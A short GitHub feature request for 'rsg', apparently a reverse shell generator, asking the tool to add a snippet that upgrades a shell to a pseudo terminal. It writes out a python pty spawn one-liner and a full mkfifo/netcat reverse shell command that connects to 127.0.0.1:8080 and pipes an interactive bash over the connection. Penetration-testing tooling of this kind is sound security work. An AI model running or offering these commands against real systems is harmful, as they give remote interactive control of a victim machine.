rsg icon indicating copy to clipboard operation
rsg copied to clipboard

Feature request - include the switch to pseudo terminal

Open xambroz opened this issue 7 years ago • 0 comments

It is possible to use python pty module to switch the existing or new reverse shell session and have nearly terminal like experience:

python -c 'import pty; pty.spawn("/bin/bash")'

It can be executed in running netcat/telnet/bash session or directly at execution:

rm -f /tmp/backpipe; mkfifo /tmp/backpipe; nc 127.0.0.1 8080 </tmp/backpipe | python -c 'import pty; pty.spawn("/bin/bash")' 1>/tmp/backpipe 2>&1 &

It would be handy to have this snippet at hand in rsg.

xambroz avatar Jan 04 '18 22:01 xambroz